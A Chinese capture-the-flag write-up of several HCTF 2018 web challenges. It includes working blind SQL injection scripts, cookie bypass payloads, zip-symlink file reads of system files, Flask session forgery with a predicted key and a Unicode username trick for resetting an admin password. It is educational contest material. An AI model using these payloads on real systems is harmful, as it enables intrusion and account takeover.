HCTF 2018 web 部分题目 详细 writeup

0X00 前言

每年 HCTF 都收获颇丰,今年又在 L-team 队友们的帮助下学到了很多东西,记录一下,还是太菜了,要多学习才行,还有就是不要偷懒,多多尝试和研究,偷懒是一个人走向失败的开始。

0X01 warmup

热身题,hint 页面存在一个文件包含,还告诉了 flag 的文件名

如图所示:

此处输入图片的描述

扫了一下目录,发现了一个 source.php

如图所示:

此处输入图片的描述

访问后看到源码

示例代码:

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

重点逻辑在这里

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}  

我们只要满足下面这个为真,并且让 file 成为我们的 flag 就行了

emmm::checkFile($_REQUEST['file']

因为这部分有个 url 解码

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

猜想可能本身服务端对客户端传过去的东西没有过解码,%3a 不会被转换成 ?于是就能利用跨目录的方法

如图所示:

此处输入图片的描述

0X02 Kzone

一个模拟钓鱼的题,www.zip 能直接下载整站源码,里面的admin 目录下所有页面的登录验证逻辑都是检测一个全局变量值 islogin 是否为1 ,如果为1 就能直接访问,

<?php
include("../include/common.php");
if ($islogin == 1) {
} else exit("<script language='javascript'>window.location.href='./login.php';</script>");
?>

判断的逻辑是

<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}

可以看到

$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
...
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
    $islogin = 1;

$admin_pass 是从数据库查出来的,不过进行了 sha1 编码, $login_data['admin_pass'] 是从 cookie 中得到的,我们可控,并且中间用的是 == ,也就是存在弱类型绕过漏洞,由于无法确定 admin 的密码在 sha1 后的结果是什么,我们需要对其前面几个字符爆破

如图所示:

此处输入图片的描述

然后浏览器设置 cookie 为这个值就能访问所有页面了,登进去以后就是列用户、改密码、删除用户、的页面,没什么太多功能,基本将后面的步骤锁定成对 admin 表的注入,毕竟之前看到的 blacklist 过滤的东西不是特别的多,还比较有机会成功。

比较了一下 where 可控(毕竟我们要子查询),并且没有对 单引号进行过滤的有三处,那就是 delete.php export.php 和 member.php

export.php

$zhi = $_GET['id'];
if ($zhi == '') {
    exit('id error!');
}
$sql = "select * from fish_user where id in($zhi);";
$update = "update fish_user set output=1 where id in($zhi);";

delete.php

$zhi=$_GET['id'];
$sql="delete from fish_user where id in($zhi);";

member.php

$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

但是后来出题人把 delete.php 给删了,感觉意思是不希望在这个地方注入(应该不是预期解,出题人可能忘过滤了),那后来就锁定了 mem ber.php 也就是说这是一个 cookie 注入,利用的就是刚刚构造好的 cookie

我们看一下黑名单

blacklist

function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

从一下几个方面去看

1.是联合还是查询子句
2.语句构造过程中的细节(注释、空格、=、or、逗号等是否过滤)
3.注入方式(显位、bool 还是 time,当然这个要结合自己的尝试)

根据上面的步骤分析一下

(1)首先 union 过滤,也就是我们没法联合查询,但是实际本身这东西也没有回显,Union 有没有并不影响我们注入,我们用 and … 子查询
(2)过滤了 # 、 -和 空白符,没法注释需要闭合,空格过滤需要括号
(3)过滤了 = like 我们考虑用 in 代替
(4)过滤了 or ,我们 information 都不能用,但是可以用 mysql.innodb_table_stats 查表名和库名,用亦或盲注 (可以看一下官方介绍https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/)
(5)过滤 sleep benchmark if ,还能用 Get_lock() rlike ,但要先确认是不是时间盲注,后来发现是布尔盲注
(6)确认了布尔注入以后我们看一下,怎么获取每一位数据,因为过滤了 mid substr = 我们其实还能用搜素字符串的方式 locate position instr 等配合 in

分析了差不多,我们就可以开始构造语句了

先写出一个基本的框架

{“admin_pass”:65,”admin_user”:”admin’and(1)and’1”}

我们现在在() 中填充我们的子查询语句,判断数据库,但是由于这个盲注,需要一位一位的判断,所以必须使用脚本,因为我们用的是判断字符串在第几位的函数,不是根据指定位置截取字符串的函数,因此必须要每一次将字符串累加,然后每次一次都要判断是不是出现在第一位,难度相对大一些

首先跑了一下数据库名:hctf_kouzone

然后跑表名得到 :F1444g

字段名就不能直接跑了,我们必须要手工, 因为我们已经知道了 flag 开头时 hctf 那我们就手工试一下就行了,后来发现是f1a9

跑 flag

如图所示:

此处输入图片的描述

附上脚本:

import requests

url = "http://kzone.2018.hctf.io/admin/list.php"

cookies = {
    "PHPSESSID": "rm5c9tdnlchu0s0rqdgi4f1n22", 
    "islogin": "1", 
}


# payload1 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats))))and'1"}}'''
# payload2 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats)))^1)and'1"}}'''

# payload1 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats))))and'1"}}'''
# payload2 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats)))^1)and'1"}}'''

payload1 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(f1a9)from(F1444g))))and'1"}}'''
payload2 = '''{{"admin_pass":65,"admin_user":"admin'and(locate('{}{}',(select(f1a9)from(F1444g)))^1)and'1"}}'''


get = ""
for i in xrange(50):
    for j in xrange(32,127):
        data = payload1.format(get,chr(j))
        cookies['login_data'] = data
        r = requests.get(url,cookies = cookies)
        if 'KK' in r.content:
            data = payload2.format(get,chr(j))
            cookies['login_data'] = data
            r = requests.get(url,cookies = cookies)
            if 'KK' not in r.content:
                get = get + chr(j)
                print get
                break

更新 :11.21 有师傅私聊和我说,这道题的另一种非常巧妙的绕过方法,就是在下面这段代码的地方

$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
...
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
    $islogin = 1;

我们甚至可以直接在里面注入拿到 flag ,我们再回过头来看一下这道题的 waf 部分

<?php
function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

function safe($string)                                    // safe 的作用就是 过一下 waf
{
    if (is_array($string)) {
        foreach ($string as $key => $val) {
            $string[$key] = safe($val);
        }
    } else {
        $string = waf($string);
    }
    return $string;
}

...
foreach ($_COOKIE as $key => $value) {
    if (is_string($value) && !is_numeric($value)) {
        $value = safe($value);
    }
    $_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

可以看到我们传入的 cookie 会被送到 safe() 函数里面,然后safe() 又调用了 waf(),那我们怎么绕过呢?你有没有发现我们传进来的 cookie 在判断前还经历了一个比较重要的步骤,json_decode() 而 json_decode 他的一个特性就是对传入的 unicode 值会进行还原,我们来做一个实验

test2.php

$a = array('username'=>'\u0061\u0064\u006d\u0069\u006e');
echo json_encode($a);
echo "<br>";
print_r(json_decode('{"username":"\\u0061\\u0064\\u006d\\u0069\\u006e"}'));

结果:

{"username":"\\u0061\\u0064\\u006d\\u0069\\u006e"}
stdClass Object ( [username] => admin ) 

很神奇,也就是说我们在 cookie 中传入 uniode 字符,然后在经过一次 json_decode 以后就转化了回来,利用这种方式我们就能轻松绕过过滤直接实现注入,直捣黄龙。

在此鸣谢 成信工 的一位师傅向我提供的这个思路,也让我学了很多!

0X03 hide_and_seek

此处输入图片的描述

一个上传压缩包页面,上传上去会自动解压,然后把压缩包里面的文件内容显示出来,以前类似的漏洞出现过比如 gitlab 的任意文件读取,CTF 中也出过类似的题,可以看这篇文章:https://xz.aliyun.com/t/2589,就是利用 Linux 的软链接来任意文件读取

我们首先构造一个指向 /etc/passwd 的软链接文件,看看能不能成功

root@K0rz3n:~# ln -s /etc/passwd test

看一下软链接的指向

lrwxrwxrwx  1 root root     11 Nov 11 06:45 test -> /etc/passwd

现在我们把这个文件进行压缩

root@K0rz3n:~# zip -y test.zip test

上传然后 submit

如图所示:

此处输入图片的描述

我们看到的确实现了任意文件包含,但是现在我们包含什么文件?根据题目的提示是 docker ,我们先看一下这个 docker 是什么 docker

root@K0rz3n:~# ln -s /start.sh test
root@K0rz3n:~# zip -y test.zip test

得到

#! /usr/bin/env bash set -e # If there's a prestart.sh script in the /app directory, run it before starting PRE_START_PATH=/app/prestart.sh echo "Checking for script in $PRE_START_PATH" if [ -f $PRE_START_PATH ] ; then echo "Running script $PRE_START_PATH" source $PRE_START_PATH else echo "There is no script $PRE_START_PATH" fi # Start Supervisor, with Nginx and uWSGI exec /usr/bin/supervisord 

搜索了一下发现这是一个部署 python 应用程序的东西,比如使用 uWSGI+Nginx+Supervisor部署管理Django应用程序,也就是说存在 app 这个目录,顺势读一下 /app/main.py

from flask import Flask 
app = Flask(__name__) 
@app.route("/") 
def hello(): 
return "Hello World 

from Flask in a uWSGI Nginx Docker container with \ Python 3.6 (default)" 

if __name__ == "__main__": 
app.run(host='0.0.0.0', debug=True, port=80) 

发现这个是默认的 flask 文件,但是已经把 docker 的信息显示出来了,uWSGI Nginx Docker,我们可以自己下载对应的 docker 玩一下,但是这也很明显发现了另一个问题,他应该是换了默认的 web 应用的文件位置,这个位置可以通过 uwsgi 看到,那么这就涉及到了查看当前运行进程的一些信息了,怎么查看呢?我们要用到虚文件系统 proc 了, 那我们读一下 /proc/self/environ 查看当前运行进程的环境变量吧(这里其实还有一种就是通过读 /proc/self/cmdline 查看当前进程的完整启动命令,也能获取一些 docker 的信息,后来看了飞猪的 wp 发现读日志也能获取很多有用的信息)

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=054752cb2fb0
SHLVL=0PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/appUWSGI_RELOADS=0

很明显我们发现了关键信息

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

我们读一下

[uwsgi] 
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 
callable=app 

这个 module 什么意思呢?我查了一下

如果是 这么写的

module = partner.wsgi:application

就表示对于- myweb_uwsgi.ini文件来说,与它的平级的有一个partner目录,这个目录下有一个wsgi.py文件

于是我们找到了一个关键文件 hard_t0_guess_also_df45v48ytj9_main.py

我们读一下 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

#- * -coding: utf - 8 - * -
from flask import Flask, session, render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag 
from werkzeug.utils import secure_filename
import os 

random.seed(uuid.getnode()) 

app =Flask(__name__) 
app.config['SECRET_KEY'] = str(random.random() *100) 
app.config['UPLOAD_FOLDER'] ='./uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 *1024 
ALLOWED_EXTENSIONS = set(['zip']) 

def allowed_file(filename):
    return '.' 
    in filename and\ 
    filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@ app.route('/', methods = ['GET']) 
def index():
        error = request.args.get('error', '') 
        if (error =='1'): 
            session.pop('username', None) 
            return render_template('index.html',forbidden = 1) 
        if 'username' in session: 
            return render_template('index.html', user =session['username'], flag =flag.flag)
        else :
            return render_template('index.html')

@ app.route('/login', methods = ['POST']) 
def login(): 
    username =request.form['username'] 
    password =request.form['password']
    if request.method == 'POST' and username != '' and password != '': 
        if (username =='admin'): 
            return redirect(url_for('index', error =1)) 
        session['username'] = username
        return redirect(url_for('index'))


@ app.route('/logout', methods = ['GET']) 
def logout(): 
    session.pop('username', None) 
    return redirect(url_for('index'))

@ app.route('/upload', methods = ['POST']) 

def upload_file(): 
    if 'the_file' not in request.files: 
        return redirect(url_for('index')) 
        file =request.files['the_file']
    if file.filename == '': 
        return redirect(url_for('index')) 
    if file and allowed_file (file.filename): 
        filename =secure_filename(file.filename) 
        file_save_path =os.path.join(app.config['UPLOAD_FOLDER'], filename) 
        if (os.path.exists(file_save_path)): 
            return 'This file already exists'
    file.save(file_save_path)
else :
    return 'This file is not a zipfile'

try: 
    extract_path = file_save_path + '_' 
    os.system('unzip -n ' + file_save_path +' -d ' + extract_path) read_obj =os.popen('cat ' + extract_path +'/*') 
    file = read_obj.read() 
    read_obj.close() 
    os.system('rm -rf ' + extract_path) 
except Exception as e:
    file = None 
    os.remove(file_save_path) 
    if (file !=None): 
        if (file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error =1)) 
            return Response(file) 

if __name__ =='__main__': 
#app.run(debug = True) 
app.run(host = '127.0.0.1', debug =True, port = 10008)

重点看这部分代码

@ app.route('/', methods = ['GET']) 
def index():
        error = request.args.get('error', '') 
        if (error =='1'): 
            session.pop('username', None) 
            return render_template('index.html',forbidden = 1) 
        if 'username' in session: 
            return render_template('index.html', user =session['username'], flag =flag.flag)
        else :
            return render_template('index.html')

flag 渲染在 index.html 中,我们先看一下 /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html

如图所示:

此处输入图片的描述

也就是要我们是 admin ,也就是伪造 session[‘username’],但是 session 是经过 secret_key 加密的

Flask中有个配置属性叫做SECRET_KEY

其作用是:

Flask(以及相关的扩展extension)需要进行加密

所以需要这个密钥SECRET_KEY

-》之所以需要加密,是因为有些涉及到安全的东西,需要加密

-》这些东西包括:

Flask本身相关的有:

session 其它一些第三方的库相关的有:

Flask-Images(内部可能是图片处理用到的) Cookies相关的 Flask-WTF的CSRF保护

那么我们再观察一下代码,发现

app.run(host = '127.0.0.1', debug =True, port = 10008)

debug = True ,记的有一个漏洞是在 debug 模式开启的情况下,预测 PIN 码,配合任意文件读取实现任意代码执行,当然这里好像行不通,我们还是看一下随机数

uuid.getnode() 这部分内容就是机器的MAC 地址转化成10进制后的结果,我们读 /sys/class/net/eth0/address 得到

12:34:3e:14:7c:62 =====> 20015589129314

random.seed() 这个函数只要设置的是相同的种子得到的就是相同的随机数,那这个随机数我们就能预测了

预测成功以后,我们就可以伪造 session 了,可能有人问为什么 session 可以伪造呢?这里我引用 p 牛的一句话

并不是所有语言都有默认的session存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多Web框架都会另辟蹊径,比如Django默认将session存储在数据库中,而对于flask这里并不包含数据库操作的框架,就只能将session存储在cookie中。

我们知道 PHP 有 PHPSESSID ,有服务器端存储 session 的机制,但是其他语言不一定有啊。你见过 flasksessionid 吗?没有吧,因为这种框架没有这样的特性(除非你使用 redis 来配合实现服务端存储),他们依然选择将 session 存储在客户端,但是为了方式 session 客户端任意的伪造,flask 设置了一个 secrey_key 对其进行了加密以及通过 hmac 算法对数据进行签名,但是并没有方式能防止用户的读取,于是我们先读取一下我们的 cookie

eyJ1c2VybmFtZSI6IkswcnozbiJ9.DsmGng.s7AI7WstLjsRLmkj2XnPU9T_zt4

根据 flask session 的构造原理

json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

我们发现实际上最前面的一部分如果没有因为长度过长经过 zlib 加压缩的话,我们就可以直接尝试使用 Base64 直接查看我们的结果,如下

{"username":"K0rz3n"}

或者在 p 牛的博客中给了一个脚本能解密这一部分内容

示例代码:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)        # 分离hmac签名 
    payload, timestamp = payload.rsplit(b'.', 1)  # 分离时间戳和 json

    decompress = False                            # 判断是否经过了 zlib 的压缩
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

到现在实际上我们就能使用一个 github 上面的伪造 flask_session 的工具进行伪造了

下面附上工具

https://github.com/noraj/flask-session-cookie-manager

伪造一下 admin 登录

$ python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.seed(20015589129314)
>>> random.random()
0.11935137566861131
>>> str(random.random()*100)
'11.9351375669'



root@K0rz3n:~# python session_cookie_manager.py encode -s '11.9351375669' -t '{"username":"admin"}'
eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.W-1S6Q.QlWfL5jyrKC_9sKMlA6PWE5-HCg

getflag

0X04 admin

此处输入图片的描述

题目有登录和注册的逻辑,并且在注释中提示了

此处输入图片的描述

题目给了源码

https://github.com/woadsl1234/hctf_flask/

这里面在 routes.py 里面有一个值得注意的地方,在 Login 的时候 Name 被 strlower 了一次,给了 session[‘name’]

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)                             # name lower()
        session['name'] = name                                          # 存入 session
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

然后在 change password 的逻辑中又 strlower 了一次

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])                      # 登陆以后第二次 Lower()
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

我们要以 admin 的身份登录进去,也就是我们要重置 admin 的密码,这种情况我们唯一的解决办法就是构造一个字符串,然后让其在两次 strlower() 后变成 admin,(赛后看 wp 还有一种思路就是我们可以利用 flask 的 客户端 session 机制来伪造 session 为 admin 成功登录)

但是直接在命令行执行 strlower() 说没有这个函数,后来发现这个函数是作者自己定义的一个,定义如下:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

strlower() 底层调用了一个 nodeprep.prepare() 函数,我查了一下这个函数的归属,发现属于 twisted ,那我们的重点就转向了这个函数了,后来找到了一篇文章 https://labs.spotify.com/2013/06/18/creative-usernames/

这里说明了 twisted 老版本的一个字符串解析漏洞,我看了一下 requirements.txt twisted 的版本还是 10.2.0 那就无疑了

根据上面这篇文章的攻击链

>>> canonical_username(u'\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30')
u'BIGBIRD'
>>> canonical_username(canonical_username(u'\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30'))
u'bigbird'

我们很容易想到我们自己的攻击链

我们注册的时候使用 unicode 字符注册,比如 ᴀdmin,然后经过一次 strlower() 编程 Admin ,然后我们修改密码,这时候又会进行一次 strlower() 这样我们就能重置 admin 的密码了

py2 中有一个非常好用的函数 unichr() 我们可以利用这个函数进行 fuzz

附上我的 fuzz 脚本:

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def fuzz(unicode):
    return nodeprep.prepare(nodeprep.prepare(unicode))

dic = {}

for i in xrange(1,100000):
    try:
        if(fuzz(unichr(i)) == 'a'):
            dic[i] = unichr(i)
    except:
        pass

print dic

结果:

{65: u'A', 7491: u'\u1d43', 9424: u'\u24d0', 97: u'a', 170: u'\xaa', 7468: u'\u1d2c', 8336: u'\u2090', 9398: u'\u24b6', 65313: u'\uff21', 65345:
 u'\uff41'}

这个脚本只是尝试一个字母的,可以看到还是有不少的选择,然后按照供给链进行就可以了

0X05 GAME

一个登录框

此处输入图片的描述

这里用 sql 约束攻击输入 admin 后面一大堆空格 密码 admin 能登陆进去

我们点击这几个小标题就能发现 order 参数

此处输入图片的描述

我们尝试 order=password ,其实意识就是根据 password 的密码进行排序,我找了一下 admin 的位置,显示为 1 admin 这就是我们攻击的目标

此处输入图片的描述

我注册两个账号 K0rz3ng 密码为 g 注册 K0rz3nh 密码是 h

然后我们再 admin admin 登录进去看一下

此处输入图片的描述

这就是最最经典的 order by 注入了,这里借用出题人的话:

部分网站在一些排名列表处只做了sql注入防御,而没有控制order by
后面实际的内容。排行榜本身模拟的id,username,sex,score是正常开发者想使用的字段,但是攻击者可以使用password字段进行排序,通过不断构造数据不一样的账号通过排列顺序盲注出指定账号的数据。

附上官方 wp 中的脚本

#encoding:utf-8
import requests
import string
import base64
import random
def catch(num,str1):
    a=0
    b=97
    while(a<=b):
        mid=(a+b)/2
        tmp =hex(mid)[2:]
        if len(tmp)==1:
            tmp="0"+tmp
        str2=str1+"%"+tmp
        print str2
        usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13))
        url="http://game.2018.hctf.io/web2/action.php?action=reg"
        data = 'username=%s&password=%s&sex=1&submit=submit' %  (usernew,str2)
        headers={"Content-Type": "application/x-www-form-urlencoded"}
        #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} 
        #strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
        #print url
        #正常用法
        r=requests.post(url,data=data,headers=headers)
        #print r.content
        #用于burp调试
        #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
        #print r.content
        sss = requests.get('http://game.2018.hctf.io/web2/user.php?order=password',headers={"Cookie":"PHPSESSID=p9op1amllrobs6okqfkih2vr40"}).content
        index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\tadmin')
        print usernew
        index2=sss.index(usernew)
        print index1
        print index2
        if index1 > index2:
            b =  mid -1
        else:
            a = mid +1
    tmp =hex(a-1)[2:]
    if len(tmp)==1:
        tmp="0"+tmp
    return "%"+tmp
    #print "##################################"
    # found=False
if __name__ == "__main__":
    #payloads = list(string.ascii_lowercase)
    #payloads.append("_;")
    payloads='!"#$%&\'()*+,-./:;<=>?@0123456789abcdefghijklmnopqrstuvwxyz[\\]^_`{|}~'
    #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
    user='%44%53%41%38%26%26%21%40%23%24%25'
    for i in range(1,100):
        user = user+catch(i,user)
        print "now user is "+user
    #catch(5,"dsa8<")

还有一个 FlappyPig 师傅的脚本

import requests
import hashlib
import threading

def md5(str):
    sha = hashlib.md5(str)
    encrypts = sha.hexdigest()
    return encrypts

def reg(username,password):
    url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
    data = {
        "username":username,
        "password":password,
        "sex":"1",
        "submit":"submit"
    }
    headers = {
        'Connection': 'close',
    }
    r = requests.post(url=url,data=data,headers=headers)

def fuzz(start,end):
    for i in range(start,end):
        password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
        username=md5(password)
        content = username + " " + password +" "+ str(i) + "\n"
        reg(username, password)
        print content
    print str(start)+'~'+str(end)+"complete"

step=20
for i in range(33,127,step):
    t = threading.Thread(target=fuzz, args=(i, i+step))
    t.start()

0X06 bottle

这道题虽然队友拿了一血,但我在比赛过程中没来得及看,赛后看大佬们的 wp 分析一下吧,看看能学到什么新的知识

这道题题目提示是 bottle ,我搜索了一下,这个其实也是一个 python 的框架,这已经是比赛里面的第三道 Python 了,杭电的师傅们对 Python 真的情有独钟啊~~~

然后我搜了一下 bottle 漏洞 ,第一条就是 p 牛的文章,bottle Http 注入漏洞, p 牛还是强 ,博客简直可以说是 CTF 解题指南 ,orz

看了一下其实就是一个 CRLF 注入漏洞,基本的原理就是当 设置返回 header 的地方没有对常见的 CR LF(也就是回车和换行符)进行过滤,而 CRLF 在 http 头部算是一个控制语句,这样,如果页面有一些参数能够实现重定向比如题目中的 path 或者常见的 url ,服务端根据这个参数的值来设置 response header ,那么攻击者就可以插入自己想要插入的内容,从而控制 response header ,从而实现我们控制返回值的 目的。

我们往往会使用这种攻击方式来进行 xss ,这次的题目也不例外,但是这种情况下就要控制 location 的值,使之不发生跳转,有两种方式吧

(1)一种是使用空的 location ,这种情况不发生跳转
(2)另一种是在 firefox 中使用端口号 0 来使其不跳转(这种方式只在 firefox 中可用)

这次的题目也已经提示使用的是 firefox 这种 Bot ,于是我们就能直接利用这种方式,当然这里还有一些小的技巧,比如控制一些 X-XSS-Protection 为 0, Content-Type 为 text/html 或者是 Content-Length 等,最后拿到 cookie 就能改 cookie 登录了。

0X07 参考

http://l-team.org/archives/hcft2018.html
https://bysec.io/hctf/writeup.html
https://xz.aliyun.com/t/3253
https://xz.aliyun.com/t/3245
https://xz.aliyun.com/t/3242
https://xz.aliyun.com/t/3255
https://labs.spotify.com/2013/06/18/creative-usernames/
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
https://www.anquanke.com/post/id/163975
https://www.anquanke.com/post/id/163975
https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

文章目录
  1. 1. 0X00 前言
  2. 2. 0X01 warmup
  3. 3. 0X02 Kzone
  4. 4. 0X03 hide_and_seek
  5. 5. 0X04 admin
  6. 6. 0X05 GAME
  7. 7. 0X06 bottle
  8. 8. 0X07 参考
|